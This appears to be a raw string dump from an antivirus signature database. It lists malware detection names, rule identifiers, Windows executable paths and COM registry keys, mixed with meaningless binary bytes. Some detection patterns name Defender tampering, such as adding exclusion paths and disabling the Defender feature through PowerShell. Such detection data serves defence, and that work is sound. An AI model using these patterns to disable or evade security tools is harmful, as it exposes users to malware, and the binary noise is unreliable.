scan_skintrim_cTrojan:Win32/Skintrim.C: scan_skintrim_k Trojan:Win32/Skintrim.K scan_skintrim_kTrojan:Win32/Skintrim.K: scan_skintrim_l Trojan:Win32/Skintrim.L scan_skintrim_lTrojan:Win32/Skintrim.L: scan_skintrim_m Trojan:Win32/Skintrim.M scan_skintrim_mTrojan:Win32/Skintrim.M) rescan_wintrim !Rescan rescan_wintrim!Rescan* rescan_wintrim2 rescan_wintrim2!Rescan8 winwebsec_dump FOPEX:Winwebsec_packer winwebsec_dumpFOPEX:Winwebsec_packer7 scan_worm_agent_a Worm:Win32/Agent.A scan_worm_agent_aWorm:Win32/Agent.A3 scan_wratch Virus:Win32/Wratch.A scan_wratchVirus:Win32/Wratch.A1 scan_xorer Virus:Win32/Xorer.Z scan_xorerVirus:Win32/Xorer.Z) scan_xpaj Win32/Xpaj.A scan_xpajWin32/Xpaj.A+ scan_xpaj_j Win32/Xpaj.J scan_xpaj_jWin32/Xpaj.JB scan_xpantivirobfus VirTool:Win32/Obfuscator.DH scan_xpantivirobfusVirTool:Win32/Obfuscator.DH7 scan_zbot_gen_m PWS:Win32/Zbot.gen!M scan_zbot_gen_mPWS:Win32/Zbot.gen!M1 scan_zbot_ga PWS:Win32/Zbot.GA scan_zbot_gaPWS:Win32/Zbot.GA3 scan_zbotav PWS:Win32/Zbot.gen!G scan_zbotavPWS:Win32/Zbot.gen!GF zbot_obfuscator_codepatch zbot_obfuscator_codepatchzbot_obfuscator_codepatchH zbot_obfuscator_bp_handler Zbot_Obfuscator_Breakpoint zbot_obfuscator_bp_handlerZbot_Obfuscator_BreakpointA zbot_obfuscator_decrypt FOPEX:Zbot_Decryption_ zbot_obfuscator_decryptFOPEX:Zbot_Decryption_E scan_zbot_sysclean PWS:Win32/Zbot_Threadscan_Clean scan_zbot_syscleanPWS:Win32/Zbot_Threadscan_CleanK scan_zbot_2x_sysclean PWS:Win32/Zbot_2x_Threadscan_Clean scan_zbot_2x_syscleanPWS:Win32/Zbot_2x_Threadscan_Clean< scan_zlob TrojanDownloader:Win32/Zlob.gen scan_zlobTrojanDownloader:Win32/Zlob.gen@ scan_zlob2 TrojanDownloader:Win32/Zlob.gen!CU scan_zlob2TrojanDownloader:Win32/Zlob.gen!CU@ scan_zlob3 TrojanDownloader:Win32/Zlob.gen!DB scan_zlob3TrojanDownloader:Win32/Zlob.gen!DB= scan_zlob4 TrojanDownloader:Win32/Zlob.APO scan_zlob4TrojanDownloader:Win32/Zlob.APOA scan_zlobcrypt Trojan:Win32/Zlob.gen!encrypted scan_zlobcryptTrojan:Win32/Zlob.gen!encrypted@ scan_zlob_l TrojanDownloader:Win32/Zlob.gen!L scan_zlob_lTrojanDownloader:Win32/Zlob.gen!L- scan_zmorph Win95/Zmorph.B scan_zmorphWin95/Zmorph.B- scan_fusion_dll fusion_dll scan_fusion_dllfusion_dll7 scan_prifou_manifest prifou_manifest scan_prifou_manifestprifou_manifest- scan_GenPe GenPeClassifier scan_GenPeGenPeClassifier5 ! ;R)+XccH Ai ]g vgdpY jlvss3 vjsTi@ /T#hk'  ?UL\" u}1@U i[u_(n _}9sv\t o7 qgF # OO=\tk 0izU1 y{0`` -Dlk! F3j_~ }6:[MgWs VY[ag \"QL[@ +<@Aq :[VK'J srq\"i6  z-]o wu\"~b S(Nd3 U!B'h< ?rOVr HXx-n 3-,@@cF m-6d[ ,i@OP) 8DM,- a[rqe j#P$\" ARBJzp hG%W+ buE2Z Sq7O;0 6A0;8 @2 6U +.Qabn [+9I] I?\"#% C@ ?! '*C@ ?!()/ <l?S? .`1>! Vc.`1>!WX C@ ?! T? (+^ l?S? l?S? < > =>\t ?&AX= >$BVm_ =\"CHD 1`i> M1`i> m&?%07, = AGjL FP6o> 5=#O_ l?S?  >%Z[xN fgbzI< jrh{q> NZ ?  ,Z&=  37.`1> 5fY ? >$AMw C@ ?! BHC@ ?!CG F_?F> ik1`i> ry.>\" Y?&#4 >\t:KQ A>%>Hc >\"DFh .vD>\t Nf^,9? aXN?\t aXN?\tPd? Jb?%W \\_~!> F12?# $>%(*. I<)?# )I<)?# >&7gw ;> DE ?\"]bh ? ht* ?!ilz > ms} 3^\t?  z{3^\t?  ?%$\\^ <>&12 U.`1> s?&`h 3O3x>  *r_> > ',oL 2{>&4rPg ?  ?#z{ l?S? %_.&= Ef=\"-/< A>\"9: >&=P_@ BE\"^?!C >\tYdk#e? 2# ?\" i2# ?\"j ppdata\\local\\seclore\\filesecure\\filesecure lite\\pptlauncher.exe %userprofile%\\appdata\\local\\seclore\\filesecure\\filesecure lite\\xlslauncher.exe O%userprofile%\\appdata\\local\\seclore\\filesecure\\filesecure lite\\xlslauncher.exe %userprofile%\\appdata\\local\\sogouexplorer\\sogouexplorer.exe <%userprofile%\\appdata\\local\\sogouexplorer\\sogouexplorer.exe %userprofile%\\appdata\\local\\vivaldi\\application\\vivaldi.exe <%userprofile%\\appdata\\local\\vivaldi\\application\\vivaldi.exe %userprofile%\\appdata\\local\\vivaldidev\\application\\vivaldi.exe ?%userprofile%\\appdata\\local\\vivaldidev\\application\\vivaldi.exe %userprofile%\\appdata\\local\\yandex\\yandexbrowser\\application\\browser.exe I%userprofile%\\appdata\\local\\yandex\\yandexbrowser\\application\\browser.exe %userprofile%\\appdata\\local\\yesware\\yesware for outlook\\yeswareshadow\\yeswarechromium.exe Z%userprofile%\\appdata\\local\\yesware\\yesware for outlook\\yeswareshadow\\yeswarechromium.exe %userprofile%\\appdata\\local\\yesware\\yesware for outlook\\yeswareshadow\\yeswarechromiumx64.exe ]%userprofile%\\appdata\\local\\yesware\\yesware for outlook\\yeswareshadow\\yeswarechromiumx64.exe %userprofile%\\appdata\\locallow\\copitrak\\tstpfltk.exe 5%userprofile%\\appdata\\locallow\\copitrak\\tstpfltk.exe %userprofile%\\appdata\\roaming\\360se6\\application\\360se.exe ;%userprofile%\\appdata\\roaming\\360se6\\application\\360se.exe %userprofile%\\appdata\\roaming\\icrm\\desktop connection for sap crm\\bin\\appdiag.exe R%userprofile%\\appdata\\roaming\\icrm\\desktop connection for sap crm\\bin\\appdiag.exe %userprofile%\\appdata\\roaming\\infoslipsforme\\infoslips.viewer.exe B%userprofile%\\appdata\\roaming\\infoslipsforme\\infoslips.viewer.exe %userprofile%\\appdata\\roaming\\microsoft\\addins /%userprofile%\\appdata\\roaming\\microsoft\\addins %userprofile%\\appdata\\roaming\\onetastic\\onecal.exe 3%userprofile%\\appdata\\roaming\\onetastic\\onecal.exe %userprofile%\\appdata\\roaming\\oracle\\crm ondemand desktop\\bin\\appdiag.exe J%userprofile%\\appdata\\roaming\\oracle\\crm ondemand desktop\\bin\\appdiag.exe %userprofile%\\appdata\\roaming\\oracle\\oracle sales cloud for outlook\\bin\\appdiag.exe T%userprofile%\\appdata\\roaming\\oracle\\oracle sales cloud for outlook\\bin\\appdiag.exe %userprofile%\\appdata\\roaming\\vision\\updater.exe 1%userprofile%\\appdata\\roaming\\vision\\updater.exe %userprofile%\\appdata\\roaming\\watchdox\\windows plugin\\pdflauncher.exe F%userprofile%\\appdata\\roaming\\watchdox\\windows plugin\\pdflauncher.exe %userprofile%\\appdata\\roaming\\webex\\applications\\ptupdate.exe >%userprofile%\\appdata\\roaming\\webex\\applications\\ptupdate.exe %userprofile%\\appdata\\roaming\\zoom\\bin\\zoom.exe 0%userprofile%\\appdata\\roaming\\zoom\\bin\\zoom.exe %userprofile%\\appdata\\roaming\\zoom\\bin_00\\zoom.exe 3%userprofile%\\appdata\\roaming\\zoom\\bin_00\\zoom.exe %programdata%\\webex %systemdrive%\\apps\\notes\\notes.exe #%systemdrive%\\apps\\notes\\notes.exe %systemdrive%\\axpointaddin\\eowp.exe $%systemdrive%\\axpointaddin\\eowp.exe %systemdrive%\\gendox\\teams\\common\\bin &%systemdrive%\\gendox\\teams\\common\\bin %systemdrive%\\lotus\\notes\\notes.exe $%systemdrive%\\lotus\\notes\\notes.exe %systemdrive%\\notes\\notes.exe %windir%\\explorer.exe %windir%\\hh.exe %windir%\\microsoft.net\\framework !%windir%\\microsoft.net\\framework %windir%\\microsoft.net\\framework64 #%windir%\\microsoft.net\\framework64 %windir%\\notepad.exe %windir%\\system32\\bdeunlock.exe  %windir%\\system32\\bdeunlock.exe %windir%\\system32\\bucappnt.exe %windir%\\system32\\bumappnt.exe %windir%\\system32\\bupappnt.exe %windir%\\system32\\conhost.exe %windir%\\system32\\ctfmon.exe %windir%\\system32\\dwwin.exe %windir%\\system32\\eventvwr.exe %windir%\\system32\\fondue.exe %windir%\\system32\\fontview.exe %windir%\\system32\\igfxem.exe %windir%\\system32\\igfxhk.exe %windir%\\system32\\igfxtray.exe %windir%\\system32\\ime %windir%\\system32\\microsoft.uev.synccontroller.exe 3%windir%\\system32\\microsoft.uev.synccontroller.exe %windir%\\system32\\mspaint.exe %windir%\\system32\\notepad.exe %windir%\\system32\\prevhost.exe %windir%\\system32\\rmactivate.exe !%windir%\\system32\\rmactivate.exe %windir%\\system32\\runtimebroker.exe $%windir%\\system32\\runtimebroker.exe %windir%\\system32\\spool\\drivers  %windir%\\system32\\spool\\drivers %windir%\\system32\\tokenbrokercookies.exe )%windir%\\system32\\tokenbrokercookies.exe %windir%\\system32\\verclsid.exe %windir%\\system32\\werfault.exe %windir%\\system32\\wermgr.exe %windir%\\system32\\wevtutil.exe %windir%\\system32\\wfs.exe %windir%\\system32\\wisptis.exe %windir%\\system32\\xpsrchvw.exe %windir%\\system32\\cmtrace.exe %windir%\\systemapps\\*\\microsoftedgecp.exe *%windir%\\systemapps\\*\\microsoftedgecp.exe %windir%\\syswow64\\colorcpl.exe %windir%\\syswow64\\ctfmon.exe %windir%\\syswow64\\dwwin.exe %windir%\\syswow64\\eventvwr.exe %windir%\\syswow64\\explorer.exe %windir%\\syswow64\\fondue.exe %windir%\\syswow64\\fontview.exe %windir%\\syswow64\\ime %windir%\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe >%windir%\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe %windir%\\syswow64\\mspaint.exe %windir%\\syswow64\\notepad.exe %windir%\\syswow64\\prevhost.exe %windir%\\syswow64\\rmactivate.exe !%windir%\\syswow64\\rmactivate.exe %windir%\\syswow64\\spool\\drivers  %windir%\\syswow64\\spool\\drivers %windir%\\syswow64\\verclsid.exe %windir%\\syswow64\\werfault.exe %windir%\\syswow64\\wermgr.exe %windir%\\syswow64\\xpsrchvw.exe %windir%\\winsxs\\*\\iexplore.exe %windir%\\winsxs\\*\\splwow64.exe b((windowsapps\\\\[^\\\\]+\\\\)|(microsoft office\\\\(root\\\\)?))office..\\\\[^\\.]+\\.exe\\\"?[^\\\"]+\\\"([^\\\"]+)\\\"z !#SLF:LanchAfterDropBySystemDL   !#SLF:SystemDropUnsignedDL \t!#SLF:SystemDropUnsignedDLObMpAttributes   RDPSettings UA=([%d]+);SL=([%d]+) HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services >HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services UserAuthentication HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp JHKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp SecurityLayer 25b32647191d GenericSystemWinlogon 15b3a6addbb7  *DCO_MpDisableScanReparsePointsOfflineFiles  [3*DCO_MpDisableScanReparsePointsOfflineFiles VmProcessProtectiont ?(1,0),%system%\\mptest_82dd78f6-8040-42f6-8782-de38fb81001e.exe*(0,0xffffffffffffffff),%system%\\csrss.exe*(0,0xffffffffffffffff),%system%\\lsass.exe (0,-1),%system%\\winlogon.exez .*Win32/Xiazai.* .*Win32/Xeelyak.* .*MSIL/Solorigate.* !#BM_VulnWerfaultSecure 0 WerFaultSecure.exe was started. Secure mode = %d EncryptDumpStream 25b36a253424 25b3752175c5 8bb35d817f3d \\schtasks.exe 93b3282b8218  93b39c9ea06d  527885de44e1 WerFaultSecure.exe  WerFaultSecure Windows Fault Reporting  get_fixedversioninfo shr64 SetOriginalFileName VulnWerFaultSecureExe.exe !#Lua:SusPathExec |.exe|.scr|.cpl|.bat|.com|.cmd|.pif|.ps1|.vbs| /|.exe|.scr|.cpl|.bat|.com|.cmd|.pif|.ps1|.vbs| :\\recycle  :\\$.recycle.bin Lua:NewAutoExec.AA  \\syswow64  Lua:NewAutoExec.BA %PROGRAMFILES% \\common files  (x86)\\common files Lua:NewAutoExec.CA %TEMP% Lua:NewAutoExec.DA \\appdata \t\\appdata  Lua:NewAutoExec.EA Lua:NewAutoExec.EAz !#SCRIPT:AddExclusionPaths \"add-mppreference exclusionpath !#SCRIPT:GetExclusionPaths get-mppreference \"get-mppreference !#SCRIPT:RemExclusionPaths remove-mppreference %remove-mppreference !#SCRIPT:AddExclusionProcess %add-mppreference exclusionprocess !#SCRIPT:GetExclusionProcess %get-mppreference !#SCRIPT:RemExclusionProcess (remove-mppreference !#SCRIPT:AddExclusionExtension 'add-mppreference exclusionextension !#SCRIPT:GetExclusionExtension 'get-mppreference !#SCRIPT:RemExclusionExtension *remove-mppreference %!#SCRIPT:MpTamperAmsiExcludeDrivePath )U%!#SCRIPT:MpTamperAmsiExcludeDrivePath add-mppreference-exclusionpath %add-mppreference-exclusionpath !!#SCRIPT:PsDisableDefenderFeature )_!!#SCRIPT:PsDisableDefenderFeature disable-windowsoptionalfeature 3disable-windowsoptionalfeature @windows-defender $!#SCRIPT:PsDisableDefenderSubFeature )c$!#SCRIPT:PsDisableDefenderSubFeature 4disable-windowsoptionalfeature @windows-defender- ,!#ALF:VirTool:PowerShell/MpQueryExclusions.B )p,!#ALF:VirTool:PowerShell/MpQueryExclusions.B get-childitem 9get-childitem @\\microsoft\\windowsdefender @exclusions !#MpIsSENSEScan SCANSOURCE_SENSE !#MpIsSENSEScanPE 76b32985ed5c  SECURITY_MANDATORY_HIGH_RID !#TEL:Lua:SENSEDownloadLocalLow !#TEL:Lua:SENSEDownloadLocalLowObMpAttributes `|z]h roc![  .e?hCJ gL{* |xKSQ N2NKU  SA{+ iBLx[t ZOt=' 9D\\iA ,| !e )/A@ qy15I ,wNQUv J!;*L 6L'GB$ zJ-'a lyO%F \\\",-MP (uA*6 P>lK3 p\"Cop T6Kf\t qK1gH3 #aR6Q .*?KN= %o?AZ GZeoI RY<pl. B ^&r !ks3 / Ph\".^ %,qI*Hyn &H X&G- u]ybd \\Oh)ch \\Oh)chW4 m8_;YI 8q?LG-C6 7>y:C PRQ6' +vYDs_ E7?eg 4\tASC ]2QD~ O9c K b7R@bt`x B<cAl CnT l V>#dO? 3 %z.0p eKsL< d8bj] LF l&n ]y 07A B([1B] \\z9/yg P Zwc 9~)@^ 1!|rx DCVJ] !#ALF:Trojan:Win32/BerBioos.A !#ALF:Trojan:Win64/Reductor.B !#PUA:Block:RelevantKnowledge !#SIGATTR:PWS:Win32/Jauxeer.B !#SIGATTR:Win32/FileException !#SIGATTR:Win32/FileException'0 !#SIGATTR:JS/Obfuscator.Php.A !#SIGATTR:JS/Obfuscator.Php.A R !#SIGATTR:MPK !#//JAVATTR:JavaObsubstringappendintegerdecode !#//JAVATTR:JavaObsubstringappendintegerdecode P- U& P- [#/*s 0u\\1 0u\\1 @ !#ALF:JASYP:TrojanDownloader:Win32/Ymacco!atmn !#SIGATTR:TrojanDownloader:Win32/Banload.gen!W 2Jbv# 02Jbv# 02Jbv#@ !#ALF:SIGA:TrojanDownloader:MSIL/Genmaldow.S11 ;`q5@ !#ALF:VirTool:MSIL/GenerateSharpPELoader.B!MTB !#ALF:VirTool:MSIL/NamedPipeServerHelper.A!MTB !#SIGATTR:Possible_Injector_v2 !#SIGATTR:Possible_Injector_v2Q !#ALF:Meterpreter.ConnectAlloc  K0 M !#ALF:Trojan:Win32/Qbot.ZY!MTB !#SIGATTR:PWS:Win32/Ldpinch.BD !AGroup:CreateProcess_WinProcs !#SIGATTR:JS/Obfuscator.Ping.A !#SIGATTR:JS/Obfuscator.Ping.A R !#ATTRIBUTE:SIGA:MSIL:EMAIL:S1 !#SIGATTR:SetWinStateForm!msil !#SIGATTR:VideoWmiCaption!msil r` m` !#SLFPER:MSIL/AsmblyLoadInvoke !#SLFPER:MSIL/AsmblyLoadInvoke!(` !#SIGATTR:Ladivyrop.Woyaohuchi !#ALF:JASYP:TrojanDownloader:Win32/Banload!atmn !#//SIGATTR:Java.allPermissions PA%oL !#ALF:JASYP:PWS:Win32/Lmir!atmn !#ALF:Trojan:Win32/Delf.CEE!MTB !#ALF:Trojan:Win32/Mikey.KA!MTB !#ALFPER:Backdoor:Win32/Lojax.A !#SIGATTR:Worm:Win32/Autorun.HI !#SIGATTR:Worm:Win32/Autorun.HIL0 !#Trojan:Win32/AgentBypass.genL 0(070@ !#Trojan:Win32/Malex.gen!attr.D !#ALF:Trojan:MSIL/Androm.OE!MTB #q<{Emn !#ALF:Trojan:MSIL/Crysan.PA!MTB  }A;M r` }A;M !#ALF:Trojan:MSIL/Zenpak.RB!MTB !#ALF:VirTool:MSIL/Gopher.A!MTB !#SIGATTR:MSIL/CryptInject.AR96 `\" M: !#SIGATTR:Win32/AVEVASION.B!MTB !#SLFPER:MSIL/PsBypassLogging.A yY5j*@ !#MPTEST-AGG-20 0 QmB 0 QmB !#SIG:Miuref.Q1 !#SIGATTR:TrojanDownloader:Win32/Maldldr.gen!C.1 !#SIGATTR:Win32/InstallCore.ReadOwnProcessMemory !#ATTRIBUTE:SIGA:MISL:PossibleCopyToRemovalbe:S1 !#ATTRIBUTE:SIGA:MSIL:SymmetricAlgo:Rijndael.S01 o`/`kI !#SIGATTR:Worm:Win32/CopyItselfAndRegister!LowFi !#ALF:Trojan:Win32/Ekstak.AA!MTB !#ALF:Trojan:Win32/Fareit.RF!MTB !#SIGATTR:Backdoor:Win32/Zacom.B h0 7WN !#SIGATTR:Dialer:Win32/Adialer.F DE0 [ (070@ !#SIGATTR:Dialer:Win32/Adialer.G !#SIGATTR:Dialer:Win32/Adialer.G 0 !#SIGATTR:Trojan:Win32/Ubexado.A !#SIGATTR:Trojan:Win32/Ubexado.Ak0 !#TEL:Trojan:Win32/Eggnog.SM!MTB !#ALF:HackTool:MSIL/Watson.B!MTB !#ALF:Trojan:MSIL/Azorult.AC!MTB !#ALF:Trojan:MSIL/Stealer.FE!MTB !#ALF:VirTool:MSIL/RunasCS.A!MTB  by) r` by) !#SIGA:TrojanSpy:MSIL/Stealer.S1 !#SIGATTR:MSIL/AgentTesla.AP!MTB !#Sigattr:MSIL/AgentTesla.ND!MTB f)a o` !#SIG:Yesudac.C1 0$=AU !#//SIGATTR:Java.processClassPath !#ALF:JASYP:Worm:Win32/Bagle!atmn !#ALF:JASYP:Worm:Win32/Sfone!atmn !#SIGATTR:Backdoor:Win32/Cycbot.G h0 7WN !#SIGATTR:Trojan:Win32/Zapchast.H !#SIGATTR:Trojan:Win32/Zapchast.HJ0 !#SIGATTR:Worm:Win32/Fasong.H.dll !#SIGATTR:Worm:Win32/Fasong.H.dll 0 i 7 !#ALF:MSIL/NtProtectMarshalCopy.A !#ALF:VirTool:MSIL/PELoader.B!MTB !#Wkysol:do_exhaustivehstr_rescan @T#m%d @T#m%d70 !#ALFPER:SIG:ElexBrowserToolbar.A ^w%Wa` !#SIG:Frosparf.I1 *=Z[@ !#SIG:Hicrazyk.D1 !#SIGATTR:vmmgrow K0J0\t ?{ 0 !#MustEmulateTest !#ALF:JASYP:PWS:Win32/QQThief!atmn !#ALF:JASYP:Trojan:Win32/Mira!atmn [#'@> !#ALF:JASYP:Worm:Win32/Fasong!atmn 0%#39 !#ALF:JASYP:Worm:Win32/Mydoom!atmn !#ALF:JASYP:Worm:Win32/Vobfus!atmn !#SIGATTR:Trojan:Win32/Busky.gen!C !#SIGATTR:Trojan:Win32/Busky.gen!C 0 !#SIGATTR:Trojan:Win32/C2Lop.gen!G !#SIGATTR:Trojan:Win32/C2Lop.gen!GJ0 !#SIGATTR:Trojan:Win32/Kill_Others !#SIGATTR:Trojan:Win32/Kill_OthersA0 !#SIGATTR:Worm:Win32/IRCBotInstall !#SIGATTR:deepemu_febipos_obsidium !#ALF:VirTool:MSIL/SharpClip.A!MTB !#SIGATTR:VirTool:MSIL/Injector.HM !#SIGATTR:VirTool:MSIL/Injector.HS !#SIGATTR:VirTool:MSIL/Injector.IA !#SIGATTR:VirTool:MSIL/Injector.IC a ! z; a ! z; !#SIGATTR:VirTool:MSIL/Injector.IS !#SIGATTR:VirTool:MSIL/Injector.IV !#SIGATTR:Gifuz.A1 !#//JAVATTR:JavaObcryptoatsomepoint !#//JAVATTR:JavaObsubstringparseint !#//JAVATTR:JavaObsubstringparseint  !#ALF:JASYP:Ransom:Win32/Locky!atmn !#ALF:JASYP:Trojan:Win32/C2Lop!atmn !#ALF:JASYP:Trojan:Win32/Vundo!atmn !#ALF:JASYP:Worm:Win32/AutoRun!atmn 32\\quartz.dll <CLSID\\{E436EBB8-524F-11ce-9F53-0020AF0BA770}\\InprocServer32 <CLSID\\{FEB50740-7BEF-11ce-9BD9-0000E202599C}\\InProcServer32 <clsid\\{068b0700-718c-11d0-8b1a-00a0c91bc90e}\\inprocserver32 >C:\\WINDOWS\\system32\\msconf.dll <clsid\\{25336921-03f9-11cf-8fd0-00aa00686f13}\\inprocserver32 >c:\\windows\\system32\\mshtml.dll <clsid\\{32b533bb-edae-11d0-bd5a-00aa00b92af1}\\inprocserver32 >C:\\WINDOWS\\system32\\urlmon.dll <clsid\\{32da2b15-cfed-11d1-b747-00c04fc2b085}\\inprocserver32 <clsid\\{33facfe0-a9be-11d0-a520-00a0d10129c0}\\inprocserver32 <clsid\\{418afb70-f8b8-11ce-aac6-0020af0b99a3}\\inprocserver32 <clsid\\{4662daa9-d393-11d0-9a56-00c04fb68bf7}\\inprocserver32 >c:\\windows\\System32\\itircl.dll <clsid\\{4662dab0-d393-11d0-9a56-00c04fb68b66}\\inprocserver32 >C:\\WINDOWS\\system32\\hhctrl.ocx <clsid\\{4a7ded0a-ad25-11d0-98a8-0800361b1103}\\inprocserver32 >c:\\windows\\system32\\mydocs.dll <clsid\\{50b6327f-afd1-11d2-9cb9-0000f87a369e}\\inprocserver32 >C:\\Windows\\System32\\adsldp.dll <clsid\\{59ce6880-acf8-11cf-b56e-0080c7c4b68a}\\inprocserver32 <clsid\\{60254ca5-953b-11cf-8c96-00aa00b8708c}\\inprocserver32 >C:\\Windows\\system32\\wshext.dll <clsid\\{607fd4e8-0a03-11d1-ab1d-00c04fc9b304}\\inprocserver32 <clsid\\{6bc096d5-0ce6-11d1-baae-00c04fc2e20d}\\inprocserver32 <clsid\\{6bc09896-0ce6-11d1-baae-00c04fc2e20d}\\inprocserver32 >C:\\WINDOWS\\system32\\iassam.dll <clsid\\{6bc09897-0ce6-11d1-baae-00c04fc2e20d}\\inprocserver32 <clsid\\{6bc09898-0ce6-11d1-baae-00c04fc2e20d}\\inprocserver32 <clsid\\{6bc098a6-0ce6-11d1-baae-00c04fc2e20d}\\inprocserver32 <clsid\\{6bc098a7-0ce6-11d1-baae-00c04fc2e20d}\\inprocserver32 <clsid\\{79376820-07d0-11cf-a24d-0020afd79767}\\inprocserver32 <clsid\\{79eac9e0-baf9-11ce-8c82-00aa004ba90b}\\inprocserver32 <clsid\\{79eac9e3-baf9-11ce-8c82-00aa004ba90b}\\inprocserver32 <clsid\\{79eac9e6-baf9-11ce-8c82-00aa004ba90b}\\inprocserver32 <clsid\\{79eac9e7-baf9-11ce-8c82-00aa004ba90b}\\inprocserver32 <clsid\\{79eac9f1-baf9-11ce-8c82-00aa004ba90b}\\inprocserver32 <clsid\\{79eac9f2-baf9-11ce-8c82-00aa004ba90b}\\inprocserver32 <clsid\\{7b8a2d94-0ac9-11d1-896c-00c04fb6bfc4}\\inprocserver32 <clsid\\{7e3fcea1-31b4-11d2-ae1f-0080c7337ea1}\\inprocserver32 >c:\\windows\\system32\\msxml3.dll <clsid\\{85131630-480c-11d2-b1f9-00c04f86c324}\\inprocserver32 <clsid\\{94abaf2a-892a-11d1-bbc4-00a0c90640bf}\\inprocserver32 >C:\\WINDOWS\\system32\\devmgr.dll <clsid\\{99847c33-b1b4-11d1-8f10-00c04fc2c17b}\\inprocserver32 >C:\\WINDOWS\\system32\\comuid.dll <clsid\\{E4206432-01A1-4BEE-B3E1-3702C8EDC574}\\inprocserver32 <clsid\\{aeb84c83-95dc-11d0-b7fc-b61140119c4a}\\inprocserver32 >C:\\WINDOWS\\system32\\dmview.ocx <clsid\\{bacf5c8a-a3c7-11d1-a760-00c04fb9603f}\\inprocserver32 >C:\\WINDOWS\\system32\\appmgr.dll <clsid\\{ea502722-a23d-11d1-a7d3-0000f87571e3}\\inprocserver32 >c:\\windows\\System32\\GPEdit.dll @CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\shell\\find\\command 6@%systemroot%\\explorer.exe Fclsid\\{4662daac-d393-11d0-9a56-00c04fb68bf7}\\versionindependentprogid *ITIR.LocalGroupArray software\\microsoft\\mediaplayer installation directoryLC:\\Program Files\\Windows Media Player 4software\\classes\\cdo.ss_nntponpostearlysink.1\\clsid N{CD000012-8B95-11D1-82DB-00C04BF1625D} BSOFTWARE\\classes\\Interface\\{00000135-0000-0000-c000-000000000046} 2IInterfaceFromWindowProp Esoftware\\classes\\clsid\\{fd8d3a5f-6066-11d1-8c13-00c04fd8d503}\\progid ,MSExtOrganizationUnit crlfile\\shell\\add\\command %SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtAddCRL %1 4clsid\\{16b280c8-ee70-11d1-9066-00c04fd9189d}\\progid PDXImageTransform.Microsoft.BasicImage.1 4clsid\\{adc6cb86-424c-11d2-952a-00c04fa34f05}\\progid PDXImageTransform.Microsoft.DropShadow.1 5CLSID\\{13709620-C279-11CE-A49E-444553540000}\\TypeLib N{50a7e9b0-70ef-11d1-b75a-00a0c90564fe} 5CLSID\\{289228de-a31e-11d1-a19c-0000f875b132}\\TypeLib N{3D5905E0-523C-11D1-9FEA-00600832DB4A} 5clsid\\{32da2b15-cfed-11d1-b747-00c04fc2b085}\\typelib N{420B2830-E718-11CF-893D-00A0C9054228} 5clsid\\{334857cc-f934-11d2-ba96-00c04fb6d0d1}\\typelib N{97d25db0-0363-11cf-abc4-02608c9e7553} 5clsid\\{54af9350-1923-11d3-9ca4-00c04f72c514}\\typelib N{54AF9343-1923-11D3-9CA4-00C04F72C514} 5clsid\\{66182ec4-afd1-11d2-9cb9-0000f87a369e}\\typelib 5clsid\\{c47195ec-cd7a-11d1-8ea3-00c04f9900d7}\\typelib <CLSID\\{0002DF01-0000-0000-C000-000000000046}\\InprocServer32 @C:\\Windows\\system32\\shdocvw.dll <CLSID\\{00C429C0-0BA9-11d2-A484-00C04F8EFB69}\\InprocServer32 @c:\\windows\\system32\\dxtmsft.dll <CLSID\\{01458CF0-A1A2-11D1-8F85-00600895E7D5}\\InprocServer32 @c:\\windows\\system32\\msdtctm.dll <CLSID\\{13709620-C279-11CE-A49E-444553540000}\\InProcServer32 @c:\\windows\\system32\\shell32.dll <CLSID\\{1E54333B-2A00-11d1-8198-0000F87557DB}\\InprocServer32 @C:\\Windows\\System32\\Dxtmsft.dll <CLSID\\{3050F4CF-98B5-11CF-BB82-00AA00BDCE0B}\\InProcServer32 @C:\\WINDOWS\\system32\\iepeers.dll <CLSID\\{3AE86B20-7BE8-11D1-ABE6-00A0C905F375}\\InprocServer32 @C:\\Windows\\System32\\mpg2splt.ax <CLSID\\{62BE5D10-60EB-11d0-BD3B-00A0C911CE86}\\InprocServer32 @C:\\WINDOWS\\system32\\devenum.dll <CLSID\\{AFB6C280-2C41-11d3-8A60-0000F81E0E4A}\\InprocServer32 <CLSID\\{ECABAFC3-7F19-11D2-978E-0000F8757E2A}\\InprocServer32 @C:\\WINDOWS\\system32\\comsvcs.dll <CLSID\\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\\InprocServer32 @C:\\Windows\\system32\\jscript.dll <clsid\\{0afaced1-e828-11d1-9187-b532f1e9575d}\\inprocserver32 <clsid\\{2a005c11-a5de-11cf-9e66-00aa00a3f464}\\inprocserver32 <clsid\\{2b4f54b1-3d6d-11d0-8258-00c04fd5ae38}\\inprocserver32 @c:\\windows\\system32\\shdocvw.dll <clsid\\{30c3b080-30fb-11d0-b724-00aa006c1a01}\\inprocserver32 @c:\\windows\\system32\\imgutil.dll <clsid\\{33d9a761-90c8-11d0-bd43-00a0c911ce86}\\inprocserver32 <clsid\\{33d9a762-90c8-11d0-bd43-00a0c911ce86}\\inprocserver32 <clsid\\{34ab8e82-c27e-11d1-a6c0-00c04fb94f17}\\inprocserver32 @C:\\WINDOWS\\system32\\certmgr.dll <clsid\\{372fce38-4324-11d0-8810-00a0c903b83c}\\inprocserver32 @C:\\WINDOWS\\system32\\certcli.dll <clsid\\{3bbe95fb-c53f-11d1-b3a2-00a0c9083365}\\inprocserver32 @C:\\WINDOWS\\system32\\msdtctm.dll <clsid\\{3fc0b520-68a9-11d0-8d77-00c04fd70822}\\inprocserver32 <clsid\\{410381db-af42-11d1-8f10-00c04fc2c17b}\\inprocserver32 @C:\\WINDOWS\\system32\\comsnap.dll <clsid\\{424b71af-0695-11d2-a484-00c04f8efb69}\\inprocserver32 <clsid\\{4315d437-5b8c-11d0-bd3b-00a0c911ce86}\\inprocserver32 <clsid\\{450d8fba-ad25-11d0-98a8-0800361b1103}\\inprocserver32 <clsid\\{4657278a-411b-11d2-839a-00c04fd918d0}\\inprocserver32 <clsid\\{4c4a5e40-732c-11d0-8816-00a0c903b83c}\\inprocserver32 